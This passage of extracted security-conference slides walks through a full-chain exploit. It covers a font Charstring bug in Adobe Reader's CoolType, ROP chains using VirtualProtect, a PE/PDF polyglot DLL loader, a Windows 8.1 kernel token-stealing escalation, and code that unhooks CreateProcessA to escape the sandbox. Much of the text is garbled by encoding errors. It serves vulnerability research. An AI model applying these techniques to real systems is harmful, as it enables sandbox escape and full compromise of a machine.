instructions, followed by a PUT. 

ÅThe value will be loaded to the transient array at index 0 or 1. 

ÅIf we pre-initialize transient_array [0..1] = [0, 0]  and then sum both entries, the result will be the 

desired DWORD. 

ÅTo operate on the data (e.g. calculate the base address of an image based on its pointer), 

we should go back to the operand stack and do all the calculations there. 

ÅThe SETCURRENTPOINT instruction resets op_sp back to &op_stk [0]  with no side effects. 



Operating on data from stack ς example 

...  

0x945430bb 

0x88242e14 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

? 
? 
? 

ƛ 

Operand stack 

? 
? 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x88242e14 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
? 
? 

ƛ 

Operand stack 

? 
? 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x88242e14 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
0 
? 

ƛ 

Operand stack 

? 
? 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x88242e14 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
0 
0 

ƛ 

Operand stack 

? 
? 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x88242e14 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
0 
0 

ƛ 

Operand stack 

0 
? 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x88242e14 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
1 
0 

ƛ 

Operand stack 

0 
? 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x88242e14 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
1 
0 

ƛ 

Operand stack 

0 
0 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x88242e14 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

- 101 
1 
0 

ƛ 

Operand stack 

0 
0 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x88242e14 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

- 101 
1 
0 

ƛ 

Operand stack 

0 
0 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

- 101 
1 
0 

ƛ 

Operand stack 

0 
0 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

- 101 
1 
0 

ƛ 

Operand stack 

0 
0 
? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

- 101 
1 
0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

- 101 
1 
0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
1 
0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
1 
0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
1 
0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0 
0x945430bb 

0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0x945430bb 
0x945430bb 

0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0x945430bb 
0x000330bb 

0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0x94510000 
0x000330bb 

0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



Operating on data from stack ς example 

...  

0x945430bb 

0x00016248 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x12345678 

0x94510000 
0x000330bb 

0 

ƛ 

Operand stack 

0 
0x945430bb 

? 

ƛ 

Transient array 

0 
dup 
0 

put  
1 

put  
- 101 

blend  
sqrt  
put  

setcurrentpoint  
0 

get  
1 

Instruction stream 

x5 

get  
add 

0x330bb 
sub 



The ROP chain 

ÅWe now have all the primitives necessary to reliably create a ROP chain to 

achieve arbitrary code execution in the sandboxed process. 

ÅIt would be easiest and most elegant to perform a single 

LoadLibrary (exploit  PDF path)  call. 

ÅThe %PDF ƳŀƎƛŎ ŘƻŜǎƴΩǘ ƘŀǾŜ ǘƻ ŀǇǇŜŀǊ ŀǘ ǘƘŜ ōŜƎƛƴƴƛƴƎ ƻŦ ǘƘŜ ŦƛƭŜΦ 

ÅWe could create a PE+PDF binary polyglot and have the rest of the exploit written in C/C++. 

ÅAnge Albertini has done it in his CorkaMIX proof of concept in 2012 

(https:// code.google.com/p/corkami/wiki/mix). 

https://code.google.com/p/corkami/wiki/mix
https://code.google.com/p/corkami/wiki/mix


LoadLibrary(self) problems 

ÅUnfortunately, the input file path is nowhere to be found on the 

ŜȄǇƭƻƛǘŜŘ ǘƘǊŜŀŘΩǎ ǎǘŀŎƪΦ 

ÅAlso, Adobe Reader recently began rejecting PDF files starting with 

ǘƘŜ άa½έ ǎƛƎƴŀǘǳǊŜΦ 



The ROP chain 

ÅWe have to settle on a less elegant solution. 

ÅVirtualProtect (&stack, PAGE_EXECUTE_READWRITE)  

and a 1st stage payload on the stack will do. 

ÅLƴ ǘƘŜ ŦƛǊǎǘ ŦǊŀƳŜΣ ǿŜΩǊŜ ǳǎƛƴƎ /ƻƻƭ¢ȅǇŜΩǎ internal 

implementation of GetProcAddress () , which resolves 

a function from kernel32.dll  and jumps to it immediately. 

Internal GetProcAddress ()  
" VirtualProtectEx \ 0"  

&VirtualProtectEx  
0 
0 

&payload  
GetCurrentProcess ()  

&payload  
0x1000 

PAGE_EXECUTE_READWRITE 
&lpflOldProtect  

ƛ 
" VirtualProtectEx \ 0"  

ƛ 
lpflOldProtect  

ƛ 

1st  stage payload  

CoolType.dll base address  





First stage payload 

ÅNot convinced to writing a second-stage font-related win32k.sys  exploit 

in assembly. 

ÅLǘΩŘ ōŜ ōŜǎǘ ǘƻ ƘŀǾŜ ŀ ŎƻƴǘǊƻƭƭŜŘ 5[[ ƭƻŀŘŜŘ Ǿƛŀ LoadLibrary() , after all. 

ÅTo our advantage: 

ÅThe renderer process has an active HANDLE to the exploit PDF file with read access. 

ÅWhile filesystem access is largely limited (especially write capabilities), the renderer 

has write access to a temporary directory at %APPDATA%\ Adobe\ Acrobat \ 11.0 . 



First stage payload ς a DLL trampoline 

ÅCompile the 2nd stage DLL with the exploit PDF file specified in Visual 

{ǘǳŘƛƻΩǎ /STUB linker option. 

ÅEmbeds the indicated file as the MS-DOS stub at the file beginning. 

ÅThe file must be a valid MS-DOS file itself (contain seemingly valid IMAGE_DOS_HEADER) 

to be allowed by the linker. 

ÅResults in a valid PE/PDF polyglot. 

ÅwŜǇƭŀŎŜ ǘƘŜ αa½έ ƳŀƎƛŎ ōȅǘŜǎ ǿƛǘƘ ǎƻƳŜǘƘƛƴƎ ŜƭǎŜΣ ŜΦƎΦ αƳȊέΦ 



First stage payload ς a DLL trampoline 

ÅIn the assembly payload: 

ÅIterate over all possible HANDLE values, i.e. range(0, 0x1000, 4) , 

ÅCall the kernel32!GetFinalPathNameByHandle()  function over each to obtain the 

corresponding file path. 

Å¢ƘŜ ƻƴŜ ŜƴŘƛƴƎ ǿƛǘƘ αΦǇŘŦέ ƛǎ ƻǳǊ ŜȄǇƭƻƛǘ ŦƛƭŜΦ /ƻǇȅ ƛǘ ǘƻ 

%APPDATA%\ Adobe\ Acrobat \ 11.0 . 

Å²ǊƛǘŜ ōŀŎƪ ǘƘŜ ƻǊƛƎƛƴŀƭ αa½έ ǎƛƎƴŀǘǳǊŜ ǘƻ ǘƘŜ ŦƛƭŜ ǘƻ ƳŀƪŜ ƛǘ ŀ ǾŀƭƛŘ t9Φ 

ÅInvoke LoadLibrary()  over the new file, having our C++ DllMain()  function 

invoked. 

 





Second stage payload ς the DLL 

Å{ƛƴŎŜ ǘƘŜǊŜΩǎ ƻƴƭȅ ŀ Ȅус ōǳƛƭŘ ƻŦ !ŘƻōŜ wŜŀŘŜǊΣ ǿŜ Ŏŀƴ ƘŀǾŜ ŀ ǎƛƴƎƭŜ 

2nd stage DLL. 

Åcan exploit both x86 and x86-64 kernels by recognizing the underlying system 

architecture (IsWow64Process() ) and driving exploitation accordingly. 

Åin both cases, a new window must be created with CreateWindow() . 

Åthe difference is in its Window Procedure (WNDCLASSEXW.lpfnWndProc). 



Second stage payload ς rendering the font 

ÅLoading and rendering a font in Windows is a matter of calling a few API functions: 

ÅCreateWindow()  ς create the window to draw on. 

ÅAddFontResource()  ς load the font in the system. 

ÅBeginPaint()  ς prepare window for painting. 

ÅCreateFont()  ς create a logical font with specific characteristics. 

ÅSelectObject()  ς select the font for usage with the device context. 

ÅTextOut()  ς display specified text on the window with previously defined style. 

ÅDeleteObject()  ς destroy the font. 

ÅEndPaint()  ς mark the end of painting in the window. 

ÅAll of the above calls work fine with the Adobe Reader sandbox, except... 



Second stage payload ς loading a font 

int  AddFontResource (  
  _In_   LPCTSTR lpszFilename  
);  
 
 

ÅLoads fonts from the specified path in the system. 

Åwin32k.sys  refuses to load any fonts via AddFontResource()  under 

the Adobe Reader sandbox. 

ÅWhat now? 



Second stage payload ς loading a font 

ÅThere is AddFontMemResourceEx(), which installs fonts directly from 

memory. 

ÅHowever, it provides no means of loading fonts consisting of two or more files 

(Type 1) ς expects a continuous data region which is loaded as a one αǊŜǎƻǳǊŎŜ ŦƛƭŜέΦ 

ÅPeople on the Internet have had the same problem, with no solution found. 

ÅReverse-engineering win32k.sys  confirms this. 

ÅNo other official/documented functions that we could use with Type 1 

fonts. 



Second stage payload ς loading a font 

If we take a look in IDA, there is one more syscall referencing the font-

loading code: NtGdiAddRemoteFontToDC. 

 



Loading fonts via NtGdiAddRemoteFontToDC 

ÅAbsolutely no public information regarding the system call, officially 

or unofficially. 

ÅLŦ ǿŜ DƻƻƎƭŜ ŦƻǊ α!ŘŘCƻƴǘwŜƳƻǘŜCƻƴǘ¢ƻ5/έΣ ǘƘŜ ƻƴƭȅ ǊŜǎǳƭǘ ƛǎ ǘƘŜ 

ŘŜǎŎǊƛǇǘƛƻƴ ƻŦ aƛŎǊƻǎƻŦǘΩǎ ǇŀǘŜƴǘ ¦{сомофнл ŦǊƻƳ !ǳƎǳǎǘ мффу. 



Loading fonts via NtGdiAddRemoteFontToDC 

In the disclosed embodiment, the whole font is loaded onto the system using the 

private interface function called AddRemoteFontToDC. This private function takes 

as input arguments the buffer which contains the image of the font to be added 

to the Device Context, the size of the buffer, and the handle of the Device Context 

(hdc). This function is very similar to the public Application Programming Interface 

(API) function AddFontResource. This private function is called by the spooler 

process to load the font image from the spool file to the printer Device Context (DC). 

System and method for remote printing using incremental font subsetting, 

Bodin Dresevic, Xudong Wu, Gerrit Bruce van Wingerden 

 



Loading fonts via NtGdiAddRemoteFontToDC 

ÅCƻǊǘǳƴŀǘŜƭȅΣ ƛǘΩǎ ƴƻǘ Ƨǳǎǘ ŀ Ǌŀǿ ōǳŦŦŜǊ ǿƛǘƘ Ŧƻƴǘ Řŀǘŀ ς ƛǘΩǎ Ŧƻƴǘ ŦƛƭŜǎ ǇǊŜŎŜŜŘŜŘ ōȅ ŀ 

ƘŜŀŘŜǊ ǎǇŜŎƛŦȅƛƴƎ ǘƘŜ ƳŜƳƻǊȅ ǇŀǊǘƛǘƛƻƴƛƴƎ ŀƴŘ ǿƘŜǘƘŜǊ ƛǘΩǎ ŀ ¢ȅǇŜ м Ŧƻƴǘ ƻǊ ƴƻǘΦ 

ÅThe reverse engineered structure is as follows: 

 

typedef  struct  tagTYPE1FONTHEADER {  

  ULONG IsType1Font ;  

  ULONG NumberOfFiles ;  

  ULONG Offsets [ 2] ;  

  BYTE  Data[ 1] ;  

}  TYPE1FONTHEADER,  * PTYPE1FONTHEADER;  



Loading fonts via NtGdiAddRemoteFontToDC 

TYPE1FONTHEADER. IsType1Font = 1;  
TYPE1FONTHEADER. NumberOfFiles = 0;  
TYPE1FONTHEADER. Offsets [ 0]  = ( PfmFileSize  + 3)  & ~4;  
TYPE1FONTHEADER. Offsets [ 1]  = (( PfmFileSize  + 3)  & ~4)  + (( PfbFileSize  + 3)  & ~4) ;  
TYPE1FONTHEADER. Data = { . PFM file data aligned to 4 bytes ,  
                        . PFB file data aligned to 4 bytes }   

After properly initializing the structure, win32k.sys successfully loads the 

Type 1 font consisting of two files from memory inside of the Adobe 

Reader sandbox. 



Second stage payload ς loading a font 

ÅAssuming that the exploit is supposed to be fully contained within a single 

 

 

 

 

we have to embed the Windows kernel x86 and x86-64 font exploits in the file, as well. 

Å9ƛǘƘŜǊ ƘŀǾŜ ǘƘŜ Ŧƻƴǘǎ ƛƴŎƭǳŘŜŘ ŀǎ t9 ǊŜǎƻǳǊŎŜǎ όƛǘΩǎ ŀ 5[[ ŀŦǘŜǊ ŀƭƭύΣ ƻǊ Ƨǳǎǘ ŀǇǇŜƴŘ ŀǘ ǘƘŜ 

end of the original file. 



Proof of Concept exploit file structure 

 
 
 
 
 
 

 
 

2nd stage userland exploit DLL  

 
 

1st stage Adobe Reader exploit  

%PDF 

MZ 

PE 

padding  

Windows Kernel x86 exploit  PFM 

Windows Kernel x86 exploit  PFB 

padding  

   Windows Kernel x86 - 64 exploit  PFM 

   Windows Kernel x86 - 64 exploit  PFB 



²ƛǘƘ ǘƘŜ ŀōƛƭƛǘȅ ǘƻ ŀǘǘŀŎƪ !¢aC5Φ5[[Σ ƭŜǘΩǎ ǿǊƛǘŜ ŀ 

kernel exploit! 



Windows 8.1 Update 1 x86 
exploit 



Kernel exploitation plan 

ÅElevation of privileges in the Windows kernel is fairly easy. 

Åtraverse a linked list of processes and replace the security token of one with 

ŀƴƻǘƘŜǊΩǎΦ 

Åcan be easily implemented in a short snippet of x86 assembly. 

Å¢ƘŜ whtΩǎ Ǝƻŀƭ ǿƻǳƭŘ ōŜ ǘƻΥ 

Åallocate writable/executable memory and copy the EoP shellcode there. 

Åjump to the shellcode to have it do its job. 

Åcleanly recover from the payload in order to keep the operating system stable. 



Kernel exploitation plan 

ÅThe Charstring exploitation process is exactly the same as with Adobe Reader 

(CoolType). 

Åaddresses of ATMFD.DLL, win32k.sys  and ntoskrnl.exe  all present on the stack. 

Åwe can use ROP gadgets from all of them. 

ÅStarting with Windows 8, most kernel memory is allocated from 

(Non)PagedPoolNx , non-executable pool memory (under protection of DEP). 

Åmeans that we cannot easily reuse an existing allocation. 

ÅExAllocatePoolWithTag(NonPagedPool)  still allocates normal, executable non-

pageable memory that we can use to store and execute the shellcode. 



Windows 8.1 Update 1 x86 ROP 

nt!ExAllocatePool  
XCHG EAX, EDX 

0x0 (NonPagedPool)  
0x1000 

MOV EBX, EDX 
XCHG EAX, EDX 
XCHG EAX, EDI 

POP ESI 
&payload  
POP ECX 

0x40 
REP MOVSD 
JMP EBX 
ƛ 

EoP payload  

allocate 4096 r/w/e bytes  

copy 256 bytes of payload 
to new allocation  

jump to the payload  





Windows 8.1 Update 1 x86 EoP shellcode 

1. CƛƴŘ ǘƘŜ α{ȅǎǘŜƳέ ǇǊƻŎŜǎǎ ōȅ ǎǘŀǊǘƛƴƎ ŀǘ KPCR.PcrbData.CurrentThread.ApcState.Process  

and traversing EPROCESS.ActiveProcessLinks.Flink , until a EPROCESS.UniqueProcessId 

value of 4 is found. 

2. Save the security token pointer from EPROCESS.Token. 

3. Traverse the process linked list again, in search of EPROCESS.ImageFileName equal to 

α!ŎǊƻwŘонΦŜȄŜέΦ 

ÅReplace EPROCESS.Token with the saved, privileged security token. 

ÅSet EPROCESS.Job.ActiveProcessLimit  to 2, in order to spawn a new calc.exe process later on. 

4. Jump to address 0x0. 



αWǳƳǇ ǘƻ ŀŘŘǊŜǎǎ лȄлέ ΚΗ 

ÅAt the end of the shellcode, we have to cleanly recover from the somewhat 

inconsistent state. 

ÅWe could try to fix up the stack frame, or return to a caller x frames higher. 

ÅATMFD.DLL aggressive exception handling for the rescue! 

ÅEvery invalid user-ƳƻŘŜ ƳŜƳƻǊȅ ŀŎŎŜǎǎ ƛǎ ǎƛƭŜƴǘƭȅ ƛƎƴƻǊŜŘ ōȅ ǘƘŜ ŘǊƛǾŜǊΩǎ ǳƴƛǾŜǊǎŀƭ 

exception handler. 

ÅLǘΩǎ ǎǳŦŦƛŎƛŜƴǘ ǘƻ ƎŜƴŜǊŀǘŜ ŀƴȅ ǎǳŎƘ ŜȄŎŜǇǘƛƻƴΣ ŀƴŘ !¢aC5 ǿƛƭƭ ǘŀƪŜ ŎŀǊŜ ƻŦ ǘƘŜ ǊŜǎǘΣ 

cleanly finishing up the font loading and returning back to userland as if nothing 

happened. 





Final steps: popping up calc.exe 

ÅEven with the modified active process limit, CreateProcess()  still 

failed to create a new process. 

ÅTurns out the sandboxed process has KERNELBASE!CreateProcessA 

ƘƻƻƪŜŘΣ ƳŀƪƛƴƎ ƛǘ αƛƳǇƻǎǎƛōƭŜέ ǘƻ ŎǊŜŀǘŜ ǇǊƻŎŜǎǎŜǎ ƴƻǘ ŀǇǇǊƻǾŜŘ ōȅ 

the broker. 

ÅWe can just restore the function prologue to bypass this. 



Restoring CreateProcessA 

HMODULE hKernelBase  = GetModuleHandleA( "KERNELBASE.DLL");  

FARPROC lpCreateProcessA  = GetProcAddress ( hKernelBase , " CreateProcessA " );  

  

// Make the kernelbase!CreateProcessA  memory area temporarily writable.  

DWORD flOldProtect ;  

VirtualProtect ( lpCreateProcessA , 5, PAGE_READWRITE, & flOldProtect );  

  

// Write the original function prologue (MOV EDI, EDI; MOV EBP, ESP; PUSH ESP).  

RtlCopyMemory( lpCreateProcessA , " \ x8b\ xff \ x55\ x8b\ xec" , 5);  

  

// Restore the original memory access mask.  

VirtualProtect ( lpCreateProcessA , 5, flOldProtect , & flOldProtect );  



 


